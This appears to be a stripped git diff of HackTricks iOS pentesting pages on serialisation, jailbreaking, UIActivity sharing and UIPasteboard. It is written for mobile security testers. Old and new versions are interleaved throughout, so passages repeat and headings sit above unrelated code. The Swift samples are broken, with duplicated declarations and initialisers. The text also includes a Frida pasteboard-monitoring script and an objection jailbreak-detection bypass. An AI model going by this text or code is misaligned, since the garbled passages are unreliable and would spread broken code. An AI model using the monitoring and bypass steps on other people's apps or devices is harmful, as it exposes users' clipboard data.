iOS comes with two protocols for object **serialisation** for Objective-C or `NSObject`s: **`NSCoding`** and **`NSSecureCoding`**. When a **class conforms** to either of the protocols, the data is serialized to **`NSData`**: a wrapper for **byte buffers**. Note that `Data` in Swift is the same as `NSData` or its mutable counterpart: `NSMutableData`. The `NSCoding` protocol declares the two methods that must be implemented in order to encode/decode its instance-variables. **A class using `NSCoding` needs to implement `NSObject` or be annotated as an @objc class**. The `NSCoding` protocol requires to implement encode and init as shown below.
### **`NSCoding`** Implementation
To implement `NSCoding`, a class must inherit from `NSObject` or be marked as `@objc`. This protocol mandates the implementation of two methods for encoding and decoding instance variables:
```swift
class CustomPoint: NSObject, NSCoding {
var x: Double = 0.0
var name: String = ""
//required by NSCoding:
func encode(with aCoder: NSCoder) {
aCoder.encode(x, forKey: "x")
aCoder.encode(name, forKey: "name")
}
var x: Double = 0.0
var name: String = ""
init(x: Double, name: String) {
self.x = x
self.name = name
}
// required by NSCoding: initialize members using a decoder.
required convenience init?(coder aDecoder: NSCoder) {
guard let name = aDecoder.decodeObject(forKey: "name") as? String
else {return nil}
self.init(x:aDecoder.decodeDouble(forKey:"x"),
name:name)
guard let name = aDecoder.decodeObject(forKey: "name") as? String else { return nil }
self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
}
//getters/setters/etc.
}
```
The issue with `NSCoding` is that the object is often already **constructed and inserted before you can evaluate** the class-type. This **allows an attacker to easily inject all sorts of data**. Therefore, the **`NSSecureCoding`** protocol has been introduced. When conforming to [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding) you need to include:
### **Enhancing Security with `NSSecureCoding`**
To mitigate vulnerabilities where attackers inject data into already constructed objects, **`NSSecureCoding`** offers an enhanced protocol. Classes conforming to `NSSecureCoding` must verify the type of objects during decoding, ensuring that only the expected object types are instantiated. However, it's crucial to note that while `NSSecureCoding` enhances type safety, it doesn't encrypt data or ensure its integrity, necessitating additional measures for protecting sensitive information:
```swift
static var supportsSecureCoding: Bool {
return true
return true
}
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
```
when `init(coder:)` is part of the class. Next, when decoding the object, a check should be made, e.g.:
## Data Archiving with `NSKeyedArchiver`
`NSKeyedArchiver` and its counterpart, `NSKeyedUnarchiver`, enable encoding objects into a file and later retrieving them. This mechanism is useful for persisting objects:
```swift
let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey")
```
The conformance to `NSSecureCoding` ensures that objects being instantiated are indeed the ones that were expected. However, there are **no additional integrity checks done** over the data and the data is not encrypted. Therefore, any secret data needs additional **encryption** and data of which the integrity must be protected, should get an additional HMAC.
### Object Archiving with NSKeyedArchiver
`NSKeyedArchiver` is a concrete subclass of `NSCoder` and provides a way to encode objects and store them in a file. The `NSKeyedUnarchiver` decodes the data and recreates the original data. Let's take the example of the `NSCoding` section and now archive and unarchive them:
```swift
// archiving:
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
// unarchiving:
guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as?
CustomPoint else { return nil }
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
```
You can also save the info in primary plist `NSUserDefaults`:
### Using `Codable` for Simplified Serialization
Swift's `Codable` protocol combines `Decodable` and `Encodable`, facilitating the encoding and decoding of objects like `String`, `Int`, `Double`, etc., without extra effort:
```swift
// archiving:
let data = NSKeyedArchiver.archivedDataWithRootObject(customPoint)
NSUserDefaults.standardUserDefaults().setObject(data, forKey: "customPoint")
// unarchiving:
if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") as? NSData {
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
}
```
### Codable
It is a combination of the `Decodable` and `Encodable` protocols. A `String`, `Int`, `Double`, `Date`, `Data` and `URL` are `Codable` by nature: meaning they can easily be encoded and decoded without any additional work. Let's take the following example:
```swift
struct CustomPointStruct:Codable {
struct CustomPointStruct: Codable {
var x: Double
var name: String
}
```
By adding `Codable` to the inheritance list for the `CustomPointStruct` in the example, the methods `init(from:)` and `encode(to:)` are automatically supported. Fore more details about the workings of `Codable` check [the Apple Developer Documentation](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types).
This approach supports straightforward serialization to and from property lists and JSON, enhancing data handling in Swift applications.
You can also use codable to save the data in the primary property list `NSUserDefaults`:
## JSON and XML Encoding Alternatives
Beyond native support, several third-party libraries offer JSON and XML encoding/decoding capabilities, each with its own performance characteristics and security considerations. It's imperative to carefully select these libraries, especially to mitigate vulnerabilities like XXE (XML External Entities) attacks by configuring parsers to prevent external entity processing.
```swift
struct CustomPointStruct: Codable {
var point: Double
var name: String
}
### Security Considerations
When serializing data, especially to the file system, it's essential to be vigilant about the potential inclusion of sensitive information. Serialized data, if intercepted or improperly handled, can expose applications to risks such as unauthorized actions or data leakage. Encrypting and signing serialized data is recommended to enhance security.
var points: [CustomPointStruct] = [
CustomPointStruct(point: 1, name: "test"),
CustomPointStruct(point: 2, name: "test"),
CustomPointStruct(point: 3, name: "test"),
]
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
}
```
### JSON Encoding
There are a lot of thrid party libraries to encode data in JSON (like exposed [here](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). However, Apple provides support for JSON encoding/decoding directly by combining `Codable` together with a `JSONEncoder` and a `JSONDecoder`:
```swift
struct CustomPointStruct: Codable {
var point: Double
var name: String
}
let encoder = JSONEncoder()
encoder.outputFormatting = .prettyPrinted
let test = CustomPointStruct(point: 10, name: "test")
let data = try encoder.encode(test)
let stringData = String(data: data, encoding: .utf8)
// stringData = Optional ({
// "point" : 10,
// "name" : "test"
// })
```
### XML
There are multiple ways to do XML encoding. Similar to JSON parsing, there are various third party libraries, such as: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
They vary in terms of speed, memory usage, object persistence and more important: differ in how they handle XML external entities. See [XXE in the Apple iOS Office viewer](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) as an example. Therefore, it is key to disable external entity parsing if possible. See the [OWASP XXE prevention cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) for more details. Next to the libraries, you can make use of Apple's [`XMLParser` class](https://developer.apple.com/documentation/foundation/xmlparser)
When not using third party libraries, but Apple's `XMLParser`, be sure to let `shouldResolveExternalEntities` return `false`.
{% hint style="danger" %}
All these ways of serialising/encoding data can be **used to store data in the file system**. In those scenarios, check if the stored data contains any kind of **sensitive information**.\
Moreover, in some cases you may be able to **abuse some serialised** data (capturing it via MitM or modifying it inside the filesystem) deserializing arbitrary data and **making the application perform unexpected actions** (see [Deserialization page](../../pentesting-web/deserialization/)). In these cases, it's recommended to send/save the serialised data encrypted and signed.
{% endhint %}
## References
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
<details>

70
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@ -31,8 +31,6 @@ The provisioning profiles are stored inside the phone in **`/Library/MobileDevic
Note that a **simulator isn't the same as en emulator**. The simulator just simulates the behaviour of the device and functions but don't actually use them.
{% endhint %}
**T**he iOS SDK simulator offers a higher-level _simulation_ of an iOS device. Most importantly, emulator binaries are compiled to x86 code instead of ARM code. Apps compiled for a real device don't run, making the simulator useless for black box analysis and reverse engineering.
### **Simulator**
The first thing you need to know is that **performing a pentest inside a simulator will much more limited than doing it in a jailbroken device**.
@ -77,65 +75,38 @@ Apple strictly requires that the code running on the iPhone must be **signed by
Unlike Android, **you cannot switch to "Developer Mode"** in iOS to run unsigned/untrusted code on the device.
{% endhint %}
### Root in Android Comparison
### Android Rooting vs. iOS Jailbreaking
iOS jailbreaking is often **compared to Android rooting**, but the process is actually quite **different**. To explain the difference, we'll first review the concepts of "rooting" and "flashing" on Android.
While often compared, **rooting** on Android and **jailbreaking** on iOS are fundamentally different processes. Rooting Android devices might involve **installing the `su` binary** or **replacing the system with a rooted custom ROM**, which doesn't necessarily require exploits if the bootloader is unlocked. **Flashing custom ROMs** replaces the device's OS after unlocking the bootloader, sometimes requiring an exploit.
* **Rooting**: This typically involves installing the `su` binary on the system or replacing the whole system with a rooted custom ROM. Exploits aren't required to obtain root access as long as the bootloader is accessible.
* **Flashing custom ROMs**: This allows you to replace the OS that's running on the device after you unlock the bootloader. The bootloader may require an exploit to unlock it.
In contrast, iOS devices cannot flash custom ROMs due to the bootloader's restriction to only boot Apple-signed images. **Jailbreaking iOS** aims to bypass Apple's code signing protections to run unsigned code, a process complicated by Apple's continuous security enhancements.
**On iOS devices, flashing a custom ROM is impossible** because the iOS bootloader **only allows Apple-signed images** to be booted and flashed. This is why even **official iOS images can't be installed if they aren't signed by Apple, and it makes iOS downgrades only possible for as long as the previous iOS version is still signed.**
### Jailbreaking Challenges
The purpose of jailbreaking is to **disable iOS protections** (Apple's code signing mechanisms in particular) so that **arbitrary unsigned code can run on the device** (e.g. custom code or downloaded from alternative app stores such as Cydia or Sileo). The word "jailbreak" is a colloquial reference to all-in-one tools that automate the disabling process.
Jailbreaking iOS is increasingly difficult as Apple patches vulnerabilities quickly. **Downgrading iOS** is only possible for a limited time after a release, making jailbreaking a time-sensitive matter. Devices used for security testing should not be updated unless re-jailbreaking is guaranteed.
### Jailbreaking Considerations
iOS updates are controlled by a **challenge-response mechanism** (SHSH blobs), allowing installation only for Apple-signed responses. This mechanism, known as a "signing window", limits the ability to store and later use OTA firmware packages. The [IPSW Downloads website](https://ipsw.me) is a resource for checking current signing windows.
Jailbreaking an iOS device is becoming more and more **complicated** because Apple keeps hardening the system and patching the exploited vulnerabilities. Jailbreaking has become a very time-sensitive procedure because **Apple stops signing these vulnerable versions relatively soon after releasing a fix** (unless the jailbreak benefits from hardware-based vulnerabilities, such as the [limera1n exploit](https://www.theiphonewiki.com/wiki/Limera1n) affecting the BootROM of the iPhone 4 and iPad 1). This means that **you can't downgrade to a specific iOS version once Apple stops signing the firmware**.
### Jailbreak Varieties
If you have a jailbroken device that you use for security testing, **keep it** as is unless you're 100% sure that you can re-jailbreak it after upgrading to the latest iOS version.
- **Tethered jailbreaks** require a computer connection for each reboot.
- **Semi-tethered jailbreaks** allow booting into non-jailbroken mode without a computer.
- **Semi-untethered jailbreaks** require manual re-jailbreaking without needing a computer.
- **Untethered jailbreaks** offer a permanent jailbreak solution without the need for re-application.
iOS upgrades are based on a challenge-response process (generating the so-called SHSH blobs as a result). The device will allow the OS installation only if the response to the challenge is signed by Apple. This is what researchers call a "signing window", and it is the reason **you can't simply store the OTA firmware package you downloaded and load it onto the device whenever you want to**. During minor iOS upgrades, two versions may both be signed by Apple (the latest one, and the previous iOS version). This is the only situation in which you can downgrade the iOS device. You can c**heck the current signing window and download OTA firmware from the** [**IPSW Downloads website**](https://ipsw.me).
### Jailbreaking Tools and Resources
{% hint style="danger" %}
**Updating the OS removes the effect of jailbreaking.**
{% endhint %}
Jailbreaking tools vary by iOS version and device. Resources such as [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), and [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) provide up-to-date information. Examples include:
### Jailbreak Types
- [Checkra1n](https://checkra.in/) for A7-A11 chip devices.
- [Palera1n](https://palera.in/) for Checkm8 devices (A8-A11) on iOS 15.0-16.5.
- [Unc0ver](https://unc0ver.dev/) for iOS versions up to 14.8.
* **Tethered** **jailbreaks** don't persist through reboots, so re-applying jailbreaks requires the device to be connected (tethered) to a computer during every reboot. The device may not reboot at all if the computer is not connected.
* **Semi-tethered jailbreaks** can't be re-applied unless the device is connected to a computer during reboot. The device can also boot into non-jailbroken mode on its own.
* **Semi-untethered jailbreaks** allow the device to boot on its own, but the kernel patches (or user-land modifications) for disabling code signing aren't applied automatically. The user must re-jailbreak the device by starting an app or visiting a website (not requiring a connection to a computer, hence the term untethered).
* **Untethered jailbreaks** are the most popular choice for end users because they need to be applied only once, after which the device will be permanently jailbroken.
Modifying your device carries risks, and jailbreaking should be approached with caution.
### Jailbreaking Tools
### Jailbreaking Benefits and Risks
Different iOS versions require **different jailbreaking techniques**. [Determine whether a public jailbreak is available for your version of iOS](https://canijailbreak.com). Beware of fake tools and spyware, which are often hiding behind domain names that are similar to the name of the jailbreaking group/author.
Version examples:
* [Checkra1n](https://checkra.in/): Works on devices having the A7 chip and as new as the A11 chip, e.g. iPhone 5S up to iPhone X.
* [Palera1n](https://palera.in/): Checkm8 devices (A8-A11) on iOS 15.0-16.5.
* [Unc0ver](https://checkra.in/): Only works only for iOS versions up to 14.8, since Apple patched the issues that allowed Unc0ver to run
The iOS jailbreak scene evolves so rapidly that providing up-to-date instructions is difficult. However, we can point you to some sources that are currently reliable:
* [**Can I Jailbreak?**](https://canijailbreak.com)
* [**The iPhone Wiki**](https://www.theiphonewiki.com)
* [**Redmond Pie**](https://www.redmondpie.com)
* [**Reddit Jailbreak**](https://www.reddit.com/r/jailbreak/)
* [**https://checkra.in/**](https://checkra.in)
> Note that any modification you make to your device is at your own risk. While jailbreaking is typically safe, things can go wrong and you may end up bricking your device. No other party except yourself can be held accountable for any damage.
### Benefits
The most important side effect of Jailbreaking is that it **removes any sandboxing put in place by the OS**. Therefore, any **app on the device can read any file** on the filesystem, including other apps files, cookies and keychain.
A jailbroken device allows users to **install unapproved apps** and leverage **more APIs**, which otherwise aren't accessible.
{% hint style="warning" %}
**It's not recommended to jailbreak the mobile for regular users**
{% endhint %}
Jailbreaking **removes OS-imposed sandboxing**, allowing apps to access the entire filesystem. This freedom enables the installation of unapproved apps and access to more APIs. However, for regular users, jailbreaking is **not recommended** due to potential security risks and device instability.
### **After Jailbreaking**
@ -162,6 +133,9 @@ You can try to avoid this detections using **objection's** `ios jailbreak disabl
* You can try to avoid this detections using **objection's** `ios jailbreak disable`
* You could also install the tool **Liberty Lite** (https://ryleyangus.com/repo/). Once the repo is added, the app should appear in the ‘Search’ tab
## References
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

75
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@ -1,4 +1,4 @@
# iOS UIActivity Sharing
<details>
@ -14,75 +14,56 @@ Other ways to support HackTricks:
</details>
# UIActivity Sharing Simplified
# UIActivity Sharing
From iOS 6 onwards, third-party applications have been enabled to **share data** such as text, URLs, or images using mechanisms like AirDrop, as outlined in Apple's [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). This feature manifests through a system-wide _share activity sheet_ that surfaces upon interacting with the "Share" button.
Starting on iOS 6 it is possible for third-party apps to **share data (items)** via specific mechanisms [like AirDrop, for example](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW3). From a user perspective, this feature is the well-known system-wide _share activity sheet_ that appears after clicking on the "Share" button.
A comprehensive enumeration of all the built-in sharing options is available at [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Developers may opt to exclude specific sharing options if they deem them unsuitable for their application.
A full list of the available built-in sharing mechanisms can be found in [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). If not considered appropriate for the app, the d**evelopers have the possibility to exclude some of these sharing mechanisms**.
## **How to Share Data**
## **Sending Items**
Attention should be directed towards:
When testing `UIActivity` Sharing you should pay special attention to:
- The nature of the data being shared.
- The inclusion of custom activities.
- The exclusion of certain activity types.
* the data (items) being shared,
* the custom activities,
* the excluded activity types.
Data sharing via `UIActivity` works by creating a `UIActivityViewController` and passing it the desired items (URLs, text, a picture) on [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init).
If having the source code, you should take a look at the `UIActivityViewController`:
* Inspect the activities passed to the `init(activityItems:applicationActivities:)` method.
* Check if it defines custom activities (also being passed to the previous method).
* Verify the `excludedActivityTypes`, if any.
If you only have the compiled/installed app, try searching for the previous method and property, for example:
Sharing is facilitated through the instantiation of a `UIActivityViewController`, to which the items intended for sharing are passed. This is achieved by calling:
```bash
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
0x1000df034 45 44 initWithActivityItems:applicationActivities:
```
## **Receiving Items**
Developers should scrutinize the `UIActivityViewController` for the activities and custom activities it's initialized with, as well as any specified `excludedActivityTypes`.
When receiving items, you should check:
## **How to Receive Data**
* if the app **declares **_**custom document types**_** ** by looking into **Exported/Imported UTIs** ("Info" tab of the Xcode project). The list of all system declared UTIs (Uniform Type Identifiers) can be found in the [archived Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple\_ref/doc/uid/TP40009259).
* if the app specifies any _**document types that it can open**_ by looking into **Document Types** ("Info" tab of the Xcode project). If present, they consist of name and one or more UTIs that represent the data type (e.g. "public.png" for PNG files). iOS uses this to determine if the app is eligible to open a given document (specifying Exported/Imported UTIs is not enough).
* if the app properly _**verifies the received data**_ by looking into the implementation of [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (or its deprecated version [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) in the app delegate.
The following aspects are crucial when receiving data:
If not having the source code you can still take a look into the `Info.plist` file and search for:
- The declaration of **custom document types**.
- The specification of **document types the app can open**.
- The verification of the **integrity of the received data**.
* `UTExportedTypeDeclarations`/`UTImportedTypeDeclarations` if the app declares exported/imported _custom document types_.
* `CFBundleDocumentTypes` to see if the app specifies any _document types that it can open_.
Without access to the source code, one can still inspect the `Info.plist` for keys like `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, and `CFBundleDocumentTypes` to understand the types of documents an app can handle and declare.
A very complete explanation about the use of these keys can be found [on Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) but here you have a summary:
A succinct guide on these keys is available on [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), highlighting the importance of defining and importing UTIs for system-wide recognition and associating document types with your app for integration in the "Open With" dialogue.
* `UTExportedTypeDeclarations`: Use them to define **your own UTIs** that your app wants to teach the system it is installed on. An **UTI describes a piece of data** (_not necessarily data located inside a file!_) and requires at least an **identifier** (`com.example.MyCoolDataType`). Additionally it may have a **name** (`My Cool Data Type`), one or more file name **extensions** (`.myCoolDataType`), one or more **MIME** **types** (`x-application/my-cool-data-type`), one or more **pasteboard** **types** (used when transferring data of that kind using copy\&paste), and one or more **legacy OS type**. Usually you also want UTIs to conform to existing UTIs (E.g. when you say your UTI conforms to `public.data`, any process that can deal with generic data can also deal with your UTI).
* e.g.: You define your own proprietary file data format and you want this data format to be also known to other apps, plugins, extensions, and so on.
* `UTImportedTypeDeclarations`: You use `UTImportedTypeDeclarations` do **teach the system about UTIs that you want to be known in the system but that are not your UTIs**.
* e.g.: Your app is able to read the proprietary data format of another application, yet you don't know if that application is even installed on the system.
* `CFBundleDocumentTypes`: You use `CFBundleDocumentTypes` to tell the system which Document types your app is able to open. Unless you **also list your UTIs here**, these UTIs are not associated with your app in Finder and your app won't appear in the `Open With >` menu. \
The only thing you always must set for a document type is the role. The **role** can be "**Viewer**" (you can display that file type but you cannot edit it), "**Editor**" (you can display and edit that file type), "**None**" (it's not specified what you can do with that file).
* e.g.: You want your **app do be associated with certain file types**, identified either by extension, by MIME type, or by UTI identifier. **If you want your app to be associated with an UTI type, the app should either import or export the type**, as otherwise the type may not be known to the system and registering to unknown UTI type has simply no effect at all.
## Dynamic Testing Approach
## Dynamic Testing
To test **sending activities**, one could:
For **sending activities** you can:
- Hook into the `init(activityItems:applicationActivities:)` method to capture the items and activities being shared.
- Identify excluded activities by intercepting the `excludedActivityTypes` property.
* Hook the method we have seen in the static analysis ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) to get the `activityItems` and `applicationActivities`.
* Find out the excluded activities by hooking [`excludedActivityTypes` property](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes).
For **receiving items**, it involves:
For receiving items you can:
* _Share_ a file with the app from another app or send it via AirDrop or e-mail. Choose the file so that it will trigger the "Open with..." dialogue (that is, there is no default app that will open the file, a PDF for example).
* Hook `application:openURL:options:` and any other methods that were identified in a previous static analysis.
* Observe the app behavior.
* In addition, you could send specific malformed files and/or use a fuzzing technique.
**Read how** [**here**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#dynamic-analysis-8)**.**
- Sharing a file with the app from another source (e.g., AirDrop, email) that prompts the "Open with..." dialogue.
- Hooking `application:openURL:options:` among other methods identified during static analysis to observe the app's response.
- Employing malformed files or fuzzing techniques to evaluate the app's robustness.
## References
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
<details>

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mobile-pentesting/ios-pentesting/ios-uipasteboard.md
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@ -14,85 +14,70 @@ Other ways to support HackTricks:
</details>
Data sharing within and across applications on iOS devices is facilitated by the [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mechanism, which is divided into two primary categories:
The [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) enables sharing data within an app, and from an app to other apps. There are two kinds of pasteboards:
- **Systemwide general pasteboard**: This is used for sharing data with **any application** and is designed to persist data across device restarts and app uninstallations, a feature that has been available since iOS 10.
- **Custom / Named pasteboards**: These are specifically for data sharing **within an app or with another app** that shares the same team ID, and are not designed to persist beyond the life of the application process that creates them, following changes introduced in iOS 10.
* **systemwide general pasteboard**: for sharing data with **any app**. Persistent by default across device restarts and app uninstalls (since iOS 10).
* **custom / named pasteboards**: for sharing data **with another app** (having the same team ID as the app to share from) or with the **app itself** (they are only available in the process that creates them). Non-persistent by default (since iOS 10), that is, they exist only until the owning (creating) app quits.
**Security considerations** play a significant role when utilizing pasteboards. For instance:
- There is no mechanism for users to manage app permissions to access the **pasteboard**.
- To mitigate the risk of unauthorized background monitoring of the pasteboard, access is restricted to when the application is in the foreground (since iOS 9).
- The use of persistent named pasteboards is discouraged in favor of shared containers due to privacy concerns.
- The **Universal Clipboard** feature introduced with iOS 10, allowing content to be shared across devices via the general pasteboard, can be managed by developers to set data expiration and disable automatic content transfer.
Some security considerations:
Ensuring that **sensitive information is not inadvertently stored** on the global pasteboard is crucial. Additionally, applications should be designed to prevent the misuse of global pasteboard data for unintended actions, and developers are encouraged to implement measures to prevent copying of sensitive information to the clipboard.
* Users **cannot grant or deny permission** for apps to read the **pasteboard**.
* Since iOS 9, apps [cannot access the pasteboard while in background](https://forums.developer.apple.com/thread/13760), this mitigates background pasteboard monitoring.
* [Apple warns about persistent named pasteboards](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc) and **discourages their use**. Instead, shared containers should be used.
* Starting in iOS 10 there is a new Handoff feature called **Universal Clipboard** that is enabled by default. It allows the **general pasteboard contents to automatically transfer between devices**. This feature can be disabled if the developer chooses to do so and it is also possible to set an expiration time and date for copied data.
### Static Analysis
Then, it's important to **check that sensitive information isn't being saved inside the global pasteboard**.\
It's also important to check that an **application isn't using the global pasteboard data to perform actions**, as malicious application could tamper this data.
For static analysis, search the source code or binary for:
- `generalPasteboard` to identify usage of the **systemwide general pasteboard**.
- `pasteboardWithName:create:` and `pasteboardWithUniqueName` for creating **custom pasteboards**. Verify if persistence is enabled, though this is deprecated.
An **application can also prevent its users to copy sensitive data to the clipboard** (which is recommended).
### Dynamic Analysis
## Static Analysis
Dynamic analysis involves hooking or tracing specific methods:
- Monitor `generalPasteboard` for system-wide usage.
- Trace `pasteboardWithName:create:` and `pasteboardWithUniqueName` for custom implementations.
- Observe deprecated `setPersistent:` method calls to check for persistence settings.
The **systemwide general pasteboard** can be obtained by using [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), search the source code or the compiled binary for this method. Using the systemwide general pasteboard should be avoided when dealing with sensitive data.
Key details to monitor include:
- **Pasteboard names** and **contents** (for instance, checking for strings, URLs, images).
- **Number of items** and **data types** present, leveraging standard and custom data type checks.
- **Expiry and local-only options** by inspecting the `setItems:options:` method.
**Custom pasteboards** can be created with [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) or [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Verify if custom pasteboards are set to be persistent as this is deprecated since iOS 10. A shared container should be used instead.
An example of monitoring tool usage is **objection's pasteboard monitor**, which polls the generalPasteboard every 5 seconds for changes and outputs the new data.
## Dynamic analysis
Hook or trace the following:
* `generalPasteboard` for the system-wide general pasteboard.
* `pasteboardWithName:create:` and `pasteboardWithUniqueName` for custom pasteboards.
You can also Hook or trace the deprecated [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) method and verify if it's being called.
When **monitoring** the **pasteboards**, there is several **details** that may be dynamically **retrieved**:
* Obtain **pasteboard name** by hooking `pasteboardWithName:create:` and inspecting its input parameters or `pasteboardWithUniqueName` and inspecting its return value.
* Get the **first available pasteboard item**: e.g. for strings use `string` method. Or use any of the other methods for the [standard data types](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275).
* Get the **number of items** with `numberOfItems`.
* Check for **existence of standard data types** with the [convenience methods](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), e.g. `hasImages`, `hasStrings`, `hasURLs` (starting in iOS 10).
* Check for **other data types** (typically UTIs) with [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). You may inspect for more concrete data types like, for example an picture as public.png and public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) or for custom data such as com.mycompany.myapp.mytype. Remember that, in this case, only those apps that _declare knowledge_ of the type are able to understand the data written to the pasteboard. Retrieve them using [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) and setting the corresponding UTIs.
* Check for excluded or expiring items by hooking `setItems:options:` and inspecting its options for `UIPasteboardOptionLocalOnly` or `UIPasteboardOptionExpirationDate`.
If only looking for strings you may want to use **objection's** command `ios pasteboard monitor`:
> Hooks into the iOS UIPasteboard class and polls the generalPasteboard every 5 seconds for data. If new data is found, different from the previous poll, that data will be dumped to screen.
You may also build your own pasteboard monitor that monitors specific information as seen above.
For example, this script (inspired from the script behind [objection's pasteboard monitor](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) reads the pasteboard items every 5 seconds, if there's something new it will print it:
Here's a simple JavaScript script example, inspired by the objection's approach, to read and log changes from the pasteboard every 5 seconds:
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
var items = "";
var count = Pasteboard.changeCount().toString();
const Pasteboard = UIPasteboard.generalPasteboard();
var items = "";
var count = Pasteboard.changeCount().toString();
setInterval(function () {
const currentCount = Pasteboard.changeCount().toString();
const currentItems = Pasteboard.items().toString();
const currentCount = Pasteboard.changeCount().toString();
const currentItems = Pasteboard.items().toString();
if (currentCount === count) { return; }
if (currentCount === count) { return; }
items = currentItems;
count = currentCount;
items = currentItems;
count = currentCount;
console.log('[* Pasteboard changed] count: ' + count +
' hasStrings: ' + Pasteboard.hasStrings().toString() +
' hasURLs: ' + Pasteboard.hasURLs().toString() +
' hasImages: ' + Pasteboard.hasImages().toString());
console.log(items);
console.log('[* Pasteboard changed] count: ' + count +
' hasStrings: ' + Pasteboard.hasStrings().toString() +
' hasURLs: ' + Pasteboard.hasURLs().toString() +
' hasImages: ' + Pasteboard.hasImages().toString());
console.log(items);
}, 1000 * 5);
}, 1000 * 5);
```
# References
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
## References
